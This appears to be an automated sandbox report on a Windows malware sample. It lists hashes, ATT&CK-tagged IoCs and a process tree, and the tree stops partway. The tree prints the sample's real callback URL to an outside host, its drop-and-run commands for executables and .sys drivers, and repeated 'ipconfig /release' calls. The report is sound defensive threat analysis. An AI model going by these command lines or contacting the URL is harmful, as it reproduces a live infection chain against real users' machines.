83763903328c88bd95773203d1515974cdeb0246087aabf479c76a0a6180fab4

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/08/2026, 16:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe
Size 243KB
Sample260801-vbexdattfz
SHA256 83763903328c88bd95773203d1515974cdeb0246087aabf479c76a0a6180fab4
MD5 5ef5a9ae2cff9be835c51a7c51e0cf40
SHA1 b52dbf019c443882fd839776e21736cda5ecc9d7
SHA512 d37a79ea253f41acde89c027ddb25410ef0b78e6fd0514cd351c142df6aacb418b61ecd70c594c246a4a0459ed4b4b7354ef80816d538ac4c2d653574684f984
SSDEEP 3072:tVXP7LFKJhD7ywSa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA78:/XP7LQMa3lLNngoqRttA78
TLSH
T119345A0172818031E7560B78046AE7A1467EBC384BA5E5CFF7A83B795E312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
3428	CP.exe
5036	jdbvtolgey.exe
3364	CP.exe
4152	CP.exe
3508	i_jdbvtolgey.exe
2268	vtnlgdywqo.sys
4584	CP.exe
2004	dyvqnigays.exe
1588	CP.exe
4460	CP.exe
4532	i_dyvqnigays.exe
4592	dysqlidbvt.sys
3920	CP.exe
2584	qnigaysida.exe
4996	CP.exe
4432	CP.exe
1968	i_qnigaysida.exe
2996	qkicavsnlf.sys
3532	CP.exe
1112	faxsqkicau.exe
3892	CP.exe
4148	CP.exe
4888	i_faxsqkicau.exe
2432	xsqkicausn.sys
2372	CP.exe
2964	mhfzxspkhc.exe
4928	CP.exe
1012	CP.exe
396	i_mhfzxspkhc.exe
1580	spkicamkec.sys
1036	CP.exe
3108	cxrpjhczus.exe
3936	CP.exe
2216	CP.exe
3844	i_cxrpjhczus.exe
2076	ezxrpjhbzu.sys
3752	CP.exe
1376	usecwuogez.exe
4520	CP.exe
4344	CP.exe
4516	i_usecwuogez.exe
3048	rmjecwuomg.sys
360	CP.exe
3860	gezwrojhbz.exe
1868	CP.exe
2052	CP.exe
4700	i_gezwrojhbz.exe
5100	bwqojgbztr.sys
3424	CP.exe
3368	rljdbwtolg.exe
4888	CP.exe
2680	CP.exe
4984	i_rljdbwtolg.exe
4136	bvtgdyvqoi.sys
3308	CP.exe
1172	lgaytqljdb.exe
1864	CP.exe
1040	CP.exe
3924	i_lgaytqljdb.exe
1144	qoigaytqli.sys
1688	CP.exe
4896	avtnlfdxvq.exe
4592	CP.exe
2096	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dyvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gezwrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzurmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaytnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaytnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxspkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhurmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigaysida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usecwuogez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhurmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigaytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dyvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxspkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usecwuogez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecxupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigaysida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kecxupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzurmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gezwrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigaytqljd.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2516	ipconfig.exe
3440	ipconfig.exe
1400	ipconfig.exe
3028	ipconfig.exe
1120	ipconfig.exe
4720	ipconfig.exe
2708	ipconfig.exe
4792	ipconfig.exe
2712	ipconfig.exe
1964	ipconfig.exe
1640	ipconfig.exe
4044	ipconfig.exe
2872	ipconfig.exe
3596	ipconfig.exe
2160	ipconfig.exe
5020	ipconfig.exe
4904	ipconfig.exe
3128	ipconfig.exe
4876	ipconfig.exe
2476	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 29 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D8B31CB0-8DC8-11F1-AA2C-FE415EB581C1} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac822130000000002000000000010660000000100002000000035918eb00aaf8236ade081278bfd7bf76979a37a2b1cc639146e05ce74f97ae8000000000e8000000002000020000000e05250ba56adc2015db77faca105cbb20ba4735b33c2649065a6727753c302d820000000fa9b10cf614278cada9ac77a301752c26a5184f0573eb006d471743607912566400000008139f8f3fbc0ab46bc89a2b5516f8efc69c1bc7854d3ffdaec214ef8b9e85b75f3a66205ed9023dfb8533bfe1b0702770544d5306a064bfeda42e040dde6853e	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20f81610de21dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac822130000000002000000000010660000000100002000000079573a9c15c9050675df9167c97f0658c529b233839eabcd11825f76c709ad44000000000e80000000020000200000000e74707316d41230b12004a8e26be8fb659310f40dcc2baa3fc969a2d967490f20000000641a3f8d7ca30dfcd4d4f54406835fd568c72f85b2ef02cd169527f8da68668640000000432f069f1801fca6397dce613e546c3792ac99585861857fe2b27a42c84da4b740c6d58c2fcf7135fd69538f6f01923e06db9cef047650fff538a2829e2feb69	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20161210de21dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "492367910"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	i_jdbvtolgey.exe
Token: SeDebugPrivilege	4532	i_dyvqnigays.exe
Token: SeDebugPrivilege	1968	i_qnigaysida.exe
Token: SeDebugPrivilege	4888	i_faxsqkicau.exe
Token: SeDebugPrivilege	396	i_mhfzxspkhc.exe
Token: SeDebugPrivilege	3844	i_cxrpjhczus.exe
Token: SeDebugPrivilege	4516	i_usecwuogez.exe
Token: SeDebugPrivilege	4700	i_gezwrojhbz.exe
Token: SeDebugPrivilege	4984	i_rljdbwtolg.exe
Token: SeDebugPrivilege	3924	i_lgaytqljdb.exe
Token: SeDebugPrivilege	1836	i_avtnlfdxvq.exe
Token: SeDebugPrivilege	2492	i_aysqkidavs.exe
Token: SeDebugPrivilege	1524	i_vpnhfzxspk.exe
Token: SeDebugPrivilege	2916	i_kecxupmhfz.exe
Token: SeDebugPrivilege	620	i_jhurmkecwu.exe
Token: SeDebugPrivilege	4692	i_bzurmjecwu.exe
Token: SeDebugPrivilege	3444	i_tomgeywqoj.exe
Token: SeDebugPrivilege	3412	i_oigaytqljd.exe
Token: SeDebugPrivilege	4792	i_qoigbqlidb.exe
Token: SeDebugPrivilege	4160	i_igaytnlfdx.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3040	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3040	iexplore.exe
3040	iexplore.exe
2152	IEXPLORE.EXE
2152	IEXPLORE.EXE
2152	IEXPLORE.EXE
2152	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 3040	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	86
PID 3040 wrote to memory of 2152	3040	iexplore.exe	87
PID 1244 wrote to memory of 3428	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	89
PID 5036 wrote to memory of 3364	5036	jdbvtolgey.exe	92
PID 1244 wrote to memory of 4152	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	95
PID 1244 wrote to memory of 4584	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	104
PID 2004 wrote to memory of 1588	2004	dyvqnigays.exe	106
PID 1244 wrote to memory of 4460	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	112
PID 1244 wrote to memory of 3920	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	116
PID 2584 wrote to memory of 4996	2584	qnigaysida.exe	118
PID 1244 wrote to memory of 4432	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	121
PID 1244 wrote to memory of 3532	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	125
PID 1112 wrote to memory of 3892	1112	faxsqkicau.exe	127
PID 1244 wrote to memory of 4148	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	130
PID 1244 wrote to memory of 2372	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	136
PID 2964 wrote to memory of 4928	2964	mhfzxspkhc.exe	138
PID 1244 wrote to memory of 1012	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	141
PID 1244 wrote to memory of 1036	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	145
PID 3108 wrote to memory of 3936	3108	cxrpjhczus.exe	147
PID 1244 wrote to memory of 2216	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	150
PID 1244 wrote to memory of 3752	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	154
PID 1376 wrote to memory of 4520	1376	usecwuogez.exe	156
PID 1244 wrote to memory of 4344	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	159
PID 1244 wrote to memory of 360	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	163
PID 3860 wrote to memory of 1868	3860	gezwrojhbz.exe	165
PID 1244 wrote to memory of 2052	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	168
PID 1244 wrote to memory of 3424	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	172
PID 3368 wrote to memory of 4888	3368	rljdbwtolg.exe	174
PID 1244 wrote to memory of 2680	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	177
PID 1244 wrote to memory of 3308	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	181
PID 1172 wrote to memory of 1864	1172	lgaytqljdb.exe	183
PID 1244 wrote to memory of 1040	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	186
PID 1244 wrote to memory of 1688	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	190
PID 4896 wrote to memory of 4592	4896	avtnlfdxvq.exe	192
PID 1244 wrote to memory of 2096	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	195
PID 1244 wrote to memory of 4084	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	199
PID 5088 wrote to memory of 2428	5088	aysqkidavs.exe	201
PID 1244 wrote to memory of 1132	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	204
PID 1244 wrote to memory of 3620	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	208
PID 4204 wrote to memory of 5104	4204	vpnhfzxspk.exe	210
PID 1244 wrote to memory of 3160	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	213
PID 1244 wrote to memory of 4800	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	218
PID 3216 wrote to memory of 2880	3216	kecxupmhfz.exe	220
PID 1244 wrote to memory of 4296	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	223
PID 1244 wrote to memory of 3668	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	227
PID 3956 wrote to memory of 1308	3956	jhurmkecwu.exe	229
PID 1244 wrote to memory of 4936	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	232
PID 1244 wrote to memory of 3356	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	236
PID 2344 wrote to memory of 4956	2344	bzurmjecwu.exe	238
PID 1244 wrote to memory of 908	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	241
PID 1244 wrote to memory of 1836	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	245
PID 4920 wrote to memory of 1412	4920	tomgeywqoj.exe	247
PID 1244 wrote to memory of 2360	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	250
PID 1244 wrote to memory of 2712	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	254
PID 5040 wrote to memory of 3540	5040	oigaytqljd.exe	256
PID 1244 wrote to memory of 1732	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	259
PID 1244 wrote to memory of 5056	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	263
PID 428 wrote to memory of 508	428	qoigbqlidb.exe	265
PID 1244 wrote to memory of 3220	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	268
PID 1244 wrote to memory of 4632	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	272
PID 412 wrote to memory of 1644	412	igaytnlfdx.exe	274
PID 1244 wrote to memory of 4404	1244	2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe	277

C:\Users\Admin\AppData\Local\Temp\2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-01_5ef5a9ae2cff9be835c51a7c51e0cf40_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3040 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtolgey.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3428
- - C:\Temp\jdbvtolgey.exe
    C:\Temp\jdbvtolgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3364
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtolgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4152
- - C:\Temp\i_jdbvtolgey.exe
    C:\Temp\i_jdbvtolgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dyvqnigays.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4584
- - C:\Temp\dyvqnigays.exe
    C:\Temp\dyvqnigays.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1588
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4792
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dyvqnigays.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4460
- - C:\Temp\i_dyvqnigays.exe
    C:\Temp\i_dyvqnigays.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qnigaysida.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3920
- - C:\Temp\qnigaysida.exe
    C:\Temp\qnigaysida.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4996
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1400
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qnigaysida.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4432
- - C:\Temp\i_qnigaysida.exe
    C:\Temp\i_qnigaysida.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1968
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkicau.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3532
- - C:\Temp\faxsqkicau.exe
    C:\Temp\faxsqkicau.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3892
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2712
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkicau.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4148
- - C:\Temp\i_faxsqkicau.exe
    C:\Temp\i_faxsqkicau.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4888
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mhfzxspkhc.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2372
- - C:\Temp\mhfzxspkhc.exe
    C:\Temp\mhfzxspkhc.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4928
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
